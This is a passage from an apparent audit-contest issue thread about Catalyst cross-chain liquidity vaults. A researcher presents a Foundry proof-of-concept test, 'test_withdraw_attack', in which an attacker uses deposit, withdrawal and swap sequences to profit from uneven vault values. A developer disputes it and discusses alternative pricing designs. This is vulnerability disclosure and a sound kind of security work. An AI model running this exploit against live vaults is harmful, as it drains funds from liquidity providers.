Lets do the math on who he stole money from, lets start by the "whole pool". Specifially, I will refer to "whole pool" as a single entity which has deposited the rest of the liquidity. That implies that they deposited 1_000_000 of each token worth exactly $1_000_000. They get 100 vault tokens for that.

The vault is now: A:1_000_000 B:1_000_000

Let John and Bob do their deposit. A:1_500_000 B:1_500_000

John gets 50 vault tokens of A and Bob gets 50 of B.

John withdraws: Let John and Bob do their deposit. A:1_000_000 B:1_500_000

Notice that John actually didn't have to deposit in the first case. Lets continue.

We need to solve the equation: $y = (1_500_000 x)/(1_000_000+x)$ where such that $1_500_000 - y = 1_000_000 + x => y = 500_000 - x$ => 500_000 - x = (1_500_000 x)/(1_000_000+x) => $x = 224_745$ and $y = 275_255$. A profitable arbitrage worth $50_510

The vaults are now: A:1_000_000 + 224_745 = 1_224_745 B:1_500_000 - 275_255 = 1_224_745

Lets examine how much each liquidity provider has of $ value.

The "whole" pool

A: 1_224_745 100/100 = 1_224_745 B: 1_224_745 100/150 = 816_497

Remember, we explicitly said that they are worth $1 each so lets add them together. 1_224_745 + 816_497 = 2_041_242. So they started with 2_000_000 of value but now have 2_041_242! They gained ≈4%

John B: 1_224_745 * 50/150 = 408.248.

So John lost more than Bob got out because the rest of the pool also gained.

I believe this falls under "Uneven deposits are risky" rather than a flaw with the protocol. Let me know what you think.

kosedogus commented 5 months ago

Unfortunately, it is not the case, like I said at my test, John depositing 500_000e18 tokens to a pool was just for simplicity, it was in order to focus on the important part without making test bigger and less readable. But since you focused on that part, I changed it too in my following test:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

import "forge-std/Test.sol";
import { Token } from "./mocks/token.sol";
import { TestCommon } from "./TestCommon.t.sol";
import { ICatalystV1Vault, ICatalystV1Structs } from "../src/ICatalystV1Vault.sol";

contract ExampleTest2 is TestCommon {

  address vault1;
  address vault2;

  bytes32 FEE_RECIPITANT = bytes32(uint256(uint160(0)));

  function setUp() public override {
    // Calls setup() on testCommon
    super.setUp();

    // Create relevant arrays for the vault.
    uint256 numTokens = 2;
    address[] memory assets = new address[](numTokens);
    uint256[] memory init_balances = new uint256[](numTokens);
    uint256[] memory weights = new uint256[](numTokens);

    // Deploy a token
    assets[0] = address(new Token("TEST", "TEST", 18, 1e35));
    init_balances[0] = 1_000_000 * 1e18;
    weights[0] = 1;
    // Deploy another token
    assets[1] = address(new Token("TEST2", "TEST2", 18, 1e35));
    init_balances[1] = 1_000_000 * 1e18;
    weights[1] = 1;

    // Set approvals.
    Token(assets[0]).approve(address(catFactory), init_balances[0] * 2);
    Token(assets[1]).approve(address(catFactory), init_balances[1] * 2);

    vault1 = catFactory.deployVault(
      address(volatileTemplate), assets, init_balances, weights, 10**18, 0, "Example Pool1", "EXMP1", address(CCI)
    );
    vault2 = catFactory.deployVault(
      address(volatileTemplate), assets, init_balances, weights, 10**18, 0, "Example Pool2", "EXMP2", address(CCI)
    );
  }
  function test_withdraw_attack() external {
    // We need to set address(CCI) as the allowed caller and address(GARP) as the destination.
    bytes memory approvedRemoteCaller = convertEVMTo65(address(CCI));
    bytes memory remoteGARPImplementation = abi.encode(address(GARP));
    // notice that remoteGARPImplementation needs to be encoded with how the AMB expectes it
    // and approvedRemoteCaller needs to be encoded with how GARP expects it.
    CCI.connectNewChain(DESTINATION_IDENTIFIER, approvedRemoteCaller, remoteGARPImplementation);

    ICatalystV1Vault(vault1).setConnection(
      DESTINATION_IDENTIFIER,
      convertEVMTo65(vault2),
      true
    );

    ICatalystV1Vault(vault2).setConnection(
      DESTINATION_IDENTIFIER,
      convertEVMTo65(vault1),
      true
    );

    // Get the token at index 0 from the vault
    address fromToken = ICatalystV1Vault(vault1)._tokenIndexing(0);
    // Lets also get the to token while we are at it:
    address toToken = ICatalystV1Vault(vault1)._tokenIndexing(1);
    uint256 mintedJohn;
    uint256 mintedBob;
    address john = makeAddr("john");
    Token(fromToken).transfer(john,500_000e18);
    Token(toToken).transfer(john,500_000e18);
    vm.startPrank(john);
    Token(fromToken).approve(vault2,500_000e18);
    Token(toToken).approve(vault2,500_000e18);
    vm.stopPrank();
    uint256[] memory tokenAmounts = new uint256[](2);
    address bob = makeAddr("bob");
    Token(fromToken).transfer(bob,750_000e18);
    Token(toToken).transfer(bob,750_000e18);
    uint256 from_token_balance = Token(fromToken).balanceOf(bob);
    console2.log("token1 initial balance bob:", from_token_balance);
    uint256 to_token_balance = Token(toToken).balanceOf(bob);
    console2.log("token2 initial balance bob:", to_token_balance);
    uint256 total_tokens = from_token_balance + to_token_balance;
    console2.log("bob initially have $",total_tokens/1e18);
    vm.startPrank(bob);
    Token(fromToken).approve(vault1,1_000_000e18);
    Token(toToken).approve(vault1,1_000_000e18);
    vm.stopPrank();

    for (uint i ; i < 20; i++) {
      vm.startPrank(bob);
      tokenAmounts[0] = 25_000e18;
      tokenAmounts[1] = 25_000e18;
      mintedBob += ICatalystV1Vault(vault1).depositMixed(tokenAmounts,0);
      vm.stopPrank();

      vm.startPrank(john);
      tokenAmounts[0] = 25_000e18;
      tokenAmounts[1] = 25_000e18;
      mintedJohn += ICatalystV1Vault(vault2).depositMixed(tokenAmounts,0);
      vm.stopPrank();
    }

    payable(bob).transfer(_getTotalIncentive(_INCENTIVE)*15);

    // Define the route as a struct:
    ICatalystV1Structs.RouteDescription memory routeDescription = ICatalystV1Structs.RouteDescription({
        chainIdentifier: DESTINATION_IDENTIFIER,
        toVault: convertEVMTo65(vault2),
        toAccount: convertEVMTo65(bob),
        incentive: _INCENTIVE
    });

    vm.startPrank(bob);
    uint256[] memory minOut = new uint256[](2);
    minOut[0] = 0;
    minOut[1] = 0;
    ICatalystV1Vault(vault1).withdrawAll(mintedBob,minOut);
    vm.stopPrank();

    uint256 FIVE_THOUSAND = 5_000e18;
    Vm.Log[] memory entries;
    bytes memory messageWithContext;
    bytes memory _metadata;
    bytes memory toExecuteMessage;

    for (uint i = 5; i < 15;) {
      vm.recordLogs();
      vm.prank(bob);
      ICatalystV1Vault(vault1).sendAsset{value: _getTotalIncentive(_INCENTIVE)}(
        routeDescription,
        fromToken,
        1,
        FIVE_THOUSAND*i,
        0,
        bob,
        0,
        hex""
      );

      entries = vm.getRecordedLogs();
      (, , messageWithContext) = abi.decode(entries[1].data, (bytes32, bytes, bytes));
      (_metadata, toExecuteMessage) = getVerifiedMessage(address(GARP), messageWithContext);
      vm.recordLogs();
      GARP.processPacket(_metadata, toExecuteMessage, FEE_RECIPITANT);
      entries = vm.getRecordedLogs();
      (, , messageWithContext) = abi.decode(entries[3].data, (bytes32, bytes, bytes));
      (_metadata, toExecuteMessage) = getVerifiedMessage(address(GARP), messageWithContext);
      vm.recordLogs();
      GARP.processPacket(_metadata, toExecuteMessage, FEE_RECIPITANT);

      vm.recordLogs();
      vm.prank(bob);
      ICatalystV1Vault(vault1).sendAsset{value: _getTotalIncentive(_INCENTIVE)}(
        routeDescription,
        toToken,
        0,
        FIVE_THOUSAND*(i+1),
        0,
        bob,
        0,
        hex""
      );

      entries = vm.getRecordedLogs();
      (, , messageWithContext) = abi.decode(entries[1].data, (bytes32, bytes, bytes));
      (_metadata, toExecuteMessage) = getVerifiedMessage(address(GARP), messageWithContext);
      vm.recordLogs();
      GARP.processPacket(_metadata, toExecuteMessage, FEE_RECIPITANT);
      entries = vm.getRecordedLogs();
      (, , messageWithContext) = abi.decode(entries[3].data, (bytes32, bytes, bytes));
      (_metadata, toExecuteMessage) = getVerifiedMessage(address(GARP), messageWithContext);
      vm.recordLogs();
      GARP.processPacket(_metadata, toExecuteMessage, FEE_RECIPITANT);
      i += 2;
    }

    from_token_balance = Token(fromToken).balanceOf(bob);
    console2.log("token1 final balance bob:", from_token_balance);
    to_token_balance = Token(toToken).balanceOf(bob);
    console2.log("token2 final balance bob:", to_token_balance);
    total_tokens = from_token_balance + to_token_balance;
    console2.log("bob finally have $",total_tokens/1e18);    

    vm.recordLogs();
    vm.startPrank(bob);
    ICatalystV1Vault(vault1).sendAsset{value: _getTotalIncentive(_INCENTIVE)}(
        routeDescription,
        toToken,
        1,
        1e18,
        0,
        bob,
        0,
        hex""
    );

    // Get logs.
    entries = vm.getRecordedLogs();
    // Decode log.
    (, , messageWithContext) = abi.decode(entries[1].data, (bytes32, bytes, bytes));
    // Get GARP message.
    (_metadata, toExecuteMessage) = getVerifiedMessage(address(GARP), messageWithContext);
    // Process message / Execute the receiveAsset call. This delivers the assets to the user.
    vm.recordLogs();
    GARP.processPacket(_metadata, toExecuteMessage, FEE_RECIPITANT);
    // We need to deliver the ack, so we need to relay another message back:
    entries = vm.getRecordedLogs();
    (, , messageWithContext) = abi.decode(entries[3].data, (bytes32, bytes, bytes));
    (_metadata, toExecuteMessage) = getVerifiedMessage(address(GARP), messageWithContext);
    // Process ack
    vm.recordLogs();
    GARP.processPacket(_metadata, toExecuteMessage, FEE_RECIPITANT);
  }
}

Here as you can see bob deposits $50_000 worth of tokens to the sub-pool A and then john deposits $50_000 worth of tokens to the sub-pool B again and again in this order. Again we have 2 person just for simplicity, we can divide john into 10 people but that would just create more unnecessary code. And I also started with bob depositing so that we can see it is not about:

Notice that John actually didn't have to deposit in the first case.

It doesn't matter who deposited first, you can change the order, add 10 more depositors, make amounts smaller, bigger, nothing will change. The attack will always be available in all these cases.

When you run forge test --match-test test_withdraw_attack -vvv you will see that test result is exactly same.

So this is not about your Uneven deposits are risky part where you said:

What happens if the majority of users only deposit on a single chain and the market price does not change appropriately?

As you can see swaps are happening slowly this time. Someone deposits into sub-pool A, then someone deposits into sub-pool B. So there is no case where majority of users only deposit on a single chain. With this I believe, I created a more real life example. If necessary I can try to make it more real. But I believe that shouldn't be our focus, we shouldn't focus on setup, we should focus on the result.

Like I tried to say in the main part of my issue, protocol does not safely solve the issue it is trying to solve (as mentioned by whitepaper and docs) with current implementation. It creates a new attack vector that is not available in any other protocol with its unique approach.

Best Regards.

reednaa commented 4 months ago

Can you replicate the attack vector against someone who deposits such that they own an EQUAL share of both vaults?

If you can't, this is a case of risky uneven deposits rather than an exploit.

kosedogus commented 4 months ago

Sir, then how can you expect the protocol to achieve what it is trying to achieve if you assume that all deposits are done exactly in every sub-pools(vaults) and these vaults' total value are always equal? How can you expect from a depositor to deposit equal amount of tokens to chainA and chainB if they want to use the protocol without losing funds and then say it is an asynchronous environment and sub-pools(vaults) is expected to work correct locally without considering connections to other vaults? What you requiring is basically depositing same TVL to both chains synchronously, how can you expect this to happen without any problem occurring? It is not just about deposits also, like I said in my main issue, every swap from vault to vault creates an arbitrage opportunity but this arbitrage is not our arbitrage that we are familiar with which occurs when there is a discrepancy between prices of tokens in pool and the real price; this arbitrage is a new kind of arbitrage such that even if prices are correct in both vaults, because vaults have different total value locked, this opportunity occurs. Of course if both vault have only 1 token, then it becomes our normal arbitrage that is available in everywhere because then we have only 1 price (that is between vault1's token and vault2's token).

How can we expect the following from whitepaper still holds:

Since each local instance is unaware of other instances, there is no state synchronisation nor an on-chain representation of the global state.

I am still thinking a way to solve this issue since the day I submitted it. Generally all ideas that comes to my mind are related to either oracle usage, or state synchronization between vaults after every swap/deposit/withdraw. Of course there are more solutions but this breaks the protocol's purpose because those solutions generally are implemented by some other protocols and Catalyst tries to achieve this without using those approaches because those approaches creates some new problems. But like I said, I believe this approach that is used by Catalyst also creates some new problems, and I am trying to explain this problem since day 1. State synchronization and oracles can solve this issue but I have one more idea in mind that is directly related to units of liquidity which I guess better suits the protocol if it can be implemented optimally. I will just try to explain it basically but of course it might not be optimal and create some new problems that I am not aware of. Since yours' (developers in Catalyst) experience with units of liquidity is far more than mine 2-3 weeks of study, it is possible that I might have miss something in following approach that you may catch:

Currently in cross-chain swaps following happens:

  1. Units of Liquidity for vault1 is calculated for swap and then send with cross-chain messager.
  2. This units of liquidity is converted to desired token in vault2 and send to user.

What if we add one more calculation to this, such that before converting units of liquidity that is received in vault2 to desired token it can check for both vault1's total units of liquidity (it can be sent with message) and vault2's total units of liquidity, and send desired assets to user considering that inequality. Because in the current implementation like I said many times, it is assumed that both pools in different chains contain same amount of TVL. But if we implement this, than it can send desired tokens to user in chain2 with considering this inequality.

In order to do this, you have only one thing that you need to be sure: Connected vaults should be deployed with same TVL(Which is also not a strict requirement as per contracts and it is also one more reason to think that this inequality between TVL's will eventually, naturally occur). Than all calculations can continue smoothly without putting user funds at risk. Without user's fear of front-running between different chain deposits and losing funds (Which will naturally occur). Without a unique arbitrage opportunity that created while trying to solve an important problem without putting some new problems into the equation.

Best Regards.

reednaa commented 4 months ago

By informing users of the associated risks we can eliminate the problem. While there is no state synchronosation on-chain, we can tell the user to do 2 (or N) simultaneous deposits (or withdrawals) such that there is no impact since the balance change is never asyncronous.

What if we add one more calculation to this, such that before converting units of liquidity that is received in vault2 to desired token it can check for both vault1's total units of liquidity (it can be sent with message) and vault2's total units of liquidity, and send desired assets to user considering that inequality.

I like this idea but it sadly doesn't work. What you proposed are not 1 idea but 2 ideas:

  1. Use a relational computation where the true price is the difference between an equilibrium and the current balance.
  2. Measure liquidity within the values and use the lowest common denominator for the swap.

Relation Liquidity

This would almost exactly how you propose, we keep track of how much liquidity has been deposited and how much liquidity the vault currently has. Say it is equal, then we set the price to 1. As more liquidity is swapped out the price slowly increases and if more is swapped in the price decreases.

There are 2 ways to do this mathematically, either by changing the limits of the integral: $$U = \int_{\frac{a}{U_r}}^{\frac{b}{Ur}} f(w) \ dw$$ or changing the integrate: $$U = \int{a}^{b} f(w) \cdot U_r \ dw$$ The first iteration of Catalyst was actually based on this, since it allowed for single sided liquidity. Specifically, it was using the latter representation:: $$Ur = \int{T0}^{T{now}} \frac{T_0}{w} \ dw$$ Where $T0$ is the amount of the relevant asset that has been deposited, $T{now}$ is the current balance and $U_r$ is some reference you swap around. When you compare the equations to our current, this would be the same as setting the weight to how much has been deposited. The reason this doesn't work is because it allows for price manipulation that is cheaper than the impact on the user. I am not going to run the numbers but it turns out that the above design lets users swap change the price curve more than they would be priced for. That is, they could essentially make the curve worse for other depositors at low cost to them. If you are good at invariant curves: Deposit on equally on both sides, then move the current point down and to the right. Withdraw from on side, such that the new curve is strictly lower than the previous curve to the left. Then go to the left and up and withdraw the other portion. Move to equilibrium, deposit and repeat.

Lowest Common Denominator

This approach was an iteration on the above idea. Instead of allowing someone to change the curvature we would measure both and use the smallest. Our problem was how to reliably measure the difference in equilibrium point without an oracle.

The whole equlibrium idea also had issues with withdrawals away from the equlibrium point so it was eventually scrapped and the current design was created based on a simplification.

I am very interested in hearing more about any suggestions and improvements we could make to our product. If you want, you can contact me on Telegram: @ reednaa if you want a direct line to me where we can discuss these things.